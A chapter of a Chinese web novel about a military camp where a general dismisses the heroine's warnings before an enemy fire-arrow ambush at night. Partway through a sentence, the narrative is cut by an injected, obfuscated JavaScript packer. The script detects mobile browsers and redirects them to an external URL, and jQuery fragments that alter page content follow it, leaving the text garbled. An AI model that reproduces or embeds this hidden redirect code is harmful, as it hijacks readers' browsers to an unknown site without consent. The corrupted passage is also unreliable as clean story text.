“敌军?”
“敌军?!”
妘墨和阿乔异口同声的说道,此处只有妘阖、妘墨和阿乔三人,妘墨脚受了伤,便让阿乔牵马。
几人心思迥异,但都清楚,敌众我寡,按照对方行军的速度,清河城外迟早会遇上。
“怎么就你一人回来了?”阿乔盯着回报消息的人,突然发问。
斥候多是三到五人一组,眼下就他一人赶回,明显不对劲。
被发难的斥候突然眼中含泪,哽咽道:“回长官,我们行至垛子场时听见地面有行军的声音,那地方地形宽阔,也没有树木山野做遮挡,大家便弃了马,以防万一留我守在原地,他们装作逃荒的前去探查。”
“我等了半天,一直趴在地上听声音,大概过了半炷香的时间,那闷雷似的脚步声很快停了,应该是不幸正面遇上了...”
“再然后,我听见他们高声喊救命,那声音传到我这儿时弱的几乎听不清,为了确认没听错,我又等了一会,直到听到马蹄的声音时,才先行回来禀报消息。”
三人闻言互相望了一眼,都在判断这话中信息的真假。
这人在短暂的失态后停止了哽咽,目光坚定,身子挺的笔直,一副训练有素的军人模样。
阿乔没再看他,这人刚才的话里都是客观描述,垛子场她知道,早在她去吟水村当间客前,沈老爹就拿出一摞比人还高的地图让她背,所以她知道再往前走两百里就能看见清河郡深厚漆黑的城墙,既可走官道,也能过山谷抄近路。
初春时节,冰川消融,带着春意的融雪水流,携着沿途收集来的雨水,滚滚东来,重新滋润干涸的河道。
待秋末冬初时,远方的高原再度披着松软的雪被沉沉睡去,这里也断了流,再度回归平静。
半晌,妘阖皱眉问道:“你可看清楚了,是垛子场?”
“回禀将军,小人绝不会看错,小人以前家就在垛子场附近。”
此话一出,三人心里皆是一沉,虽各怀心思,但都清楚这敌军奔着清河郡去的。
“求援的信什么时候发出的?”
妘阖出征前,妘繇特意告诉他不用死战,联合援军一起守城即可,这句话让他心里有了底。
他原计划在城外设伏阻杀敌人,不然被敌人赶进了城,就清河那开阔平坦的地势,宛如宽阔水域中一片凸起的顽石,一旦被围攻,和瓮中捉鳖没什么两样。
“前日大小姐用的死士,分成三队送信。”
妘阖点点头,心里有了底,拧成八字的眉舒缓了许多,刚吩咐让这斥候再探,就被阿乔拦下:“将军,去了五人,就一人回来,他说的话无人佐证,还是换一队斥候为好。”
妘阖有些不耐烦,这组斥候是妘澈的人,说的信息也都对得上,这山野来的小子怕是大字都不识一个,以为跟着沈清云混了两头又当上营长就有能耐和他叫板了?
他握着鞭子的手捏了又捏,碍于他是异姓营队的长官,这时出手教训容易引起内乱,几个深呼吸下,化作一个恶狠狠的眼神剜了阿乔一眼,便不再理会。
清河周边的地形地貌不是秘密,因地形特殊,山林周边都有守城的士兵巡防,防止有心之人绘制地图。
可妘葛氏在此地盘踞多年,手上的地图没有一摞也有十来份,河道枯水期这种事他们自然知道。
他一挥手,这斥候便抱拳行礼告退,刚转身又被妘阖喊了回来:“跑的时候被人发现了没?”
“没有!”这人的答复铿锵有力,“属下特意驱散了马匹,马蹄都包了布,过山头前行的极慢,不会被人听见声响。”
妘阖这下彻底放心了,算了算对方的脚程,又交代了其他将领几句,就见那蜿蜒山间的黑色游龙分成两队,从龙尾处断开,龙头和龙身朝河谷走去,龙尾的四百人朝官道走去。
这样的安排算得上明智,河谷处两山夹壁,只要敌军敢过河谷,便种了他们的埋伏,即便侥幸逃脱,还有官道上的妘家军等着他们。
反之,要是敌军直接上官道,这四百人且战且退与他们汇合,他们便能联合城中守军来个前后夹击,往前冲箭雨伺候,往后退卷了刃的砍刀也不遑多让,杀一个算一个。
他们等啊等,从白天等到黑夜,等到推石头的人手都酸了,举弓箭的手臂也失了准头,连个鬼影都没瞧见。
那斥候和其他人组成一队,三去三回,竟然带回来敌军原地驻扎的消息。
月上中天,正是人一天最疲乏的时候。
妘阖提着鞭子刚收拾完打盹的哨兵,就瞧见远处跳跃着影影绰绰的火光,他略有得意,早就知道这些人是故意扎营迷惑他们,想趁夜偷袭,为此他早就要求军中将领全部着甲而眠,普通兵卒也不得卸甲,全员休息,不用轮换,就是为下半夜的偷袭做准备。
阿乔是第一个醒的,醒来时心脏狂跳,她大口吸着寒气,寒到能凝水成冰的空气被拽入肺腑,与狂跳的心脏硬碰硬,她的野兽直觉动了。
她一骨碌从地上爬了起来,快速喊醒何老十、全氏父子和两个营的伍长,让他们做好准备。
她的直觉很准,但不能凭着直觉告诉大家敌人来了,妘阖不会听她的谏言,她便自己领人巡守。
现在是上半夜,大家十人一组先巡守一圈,下半夜再换人,她今晚就不睡了,这些人都没有行军打仗的经验,虽然她也没有,可南梧皇宫里,血海中杀出来的生路,让她比常人多了几分对形势的判断和命悬一线时野兽般的直觉。
“你们几个,鬼鬼祟祟地干什么呢!”妘阖早瞧见了领头的人是阿乔,白日里积压的不满,加之暗夜作祟,最易让人的轮廓心智一同模糊。
“回将军,巡营。”阿乔恭敬行礼,她不想惹出事端。
“巡什么巡,有你们巡营的份儿吗!我看你是怕死想逃吧?”
阿乔正欲说几句软话,就被何老十抢白:“将军要是不放心,可派人跟着我们。”
生死一线的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815425|170878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大事,他妘阖算老几,他们巡营与他何干,有本事他派姓妘的巡,他们也乐得清闲。
何老十到底保留了一丝理智,没把这话直白的讲出来,但身后跟着的一个伍长按捺不住性子了,他早先没少挨妘阖的鞭子,听着这话火气上头,语气不善:“真等敌人的箭扎穿胸口了,还真不用起床了。天为被,地为席,此处风景甚佳,不失为一个好宿处。”
看着妘阖捏着鞭子的手指指节发白,阿乔真的很想把这群逞口舌之快的大老爷们打包塞回去睡觉,就在妘阖的鞭子刚举起时,一颗带着火焰尾巴的流星从高空划弧线朝着熟睡的士兵坠落。
“是火箭!”阿乔高呼,“快跑!”
话音刚落,漫天火箭如坠落的太阳,携着逼人的热浪燃烧着周边一切事物,枯树、人的衣裳、人的皮肉、营帐、粮草....
火焰疯狂吞噬目力所及的一切,惨叫声不绝于耳,妘阖举着鞭子的手呆在了原地,他不明白,明明山脚处他安排了三个伍的人巡视,斥候轮换着回报军情,怎么算敌人都应该下半夜到才对...
他有些恍惚,仿佛拿着火箭射他们的不是人,是恶鬼,是多年以前惨死在这山间的败军。
阿乔并不娴熟的指挥着,她发现这箭在空中划过的弧度较为平整,射程很远,到了最外层营帐处,火箭便没了力道,偃旗息鼓坠落下来,说明敌人尚在远处。
“往里跑!都快过来!”
她的声音没湮没在嘈杂叫喊中,里层的人虽未受到攻击,却因惊慌开始自乱阵脚。再这么下去敌人一队铁骑冲上来就能深入军中腹地,将他们冲散后再逐片绞杀,不费吹灰之力。
不能再这么乱下去了!
她不想死,也不能眼睁睁看着他们送死!
冷静..
她必须先冷静下来。
几个呼吸后,她快速理清局面,抓住二十营的几个伍长,开始安排防守。
她声音止不住的颤抖,好在环境足够混乱,几人并未注意到她的不安。快速交代完毕后,大家便四散开,组织人往里跑。
无边的热浪灼烧的脸痛,她正在思考对策时,突然被人往后扯去。妘墨指着一条洒满月光的小道,对她说道:“这里地势相对平缓,滚下去。”
阿乔探过身子看了一眼,小道直通河谷,两岸山壁几乎垂直,这条小道因歪七扭八反而减缓了冲下去的势能,能逃。
能逃...
滚下去,就安全了。
她要给杨玥送信,杨玥是赫赫有名的将军,她一定能妥善解决一切问题。
可事到如今,仗都打起来了,送信还有用吗?
“还犹犹豫豫的干什么!快啊!”
阿乔鬼使神差的回看了一眼何老十他们,正挥着膀子把人往山崖处赶,火光烤的他们脸膛涨红,还要左跳右闪地躲火箭,她又看了一眼六神无主还举着鞭子的妘阖,问了一句另她自己都心惊的话:“我走了,谁指挥?你、还是他?”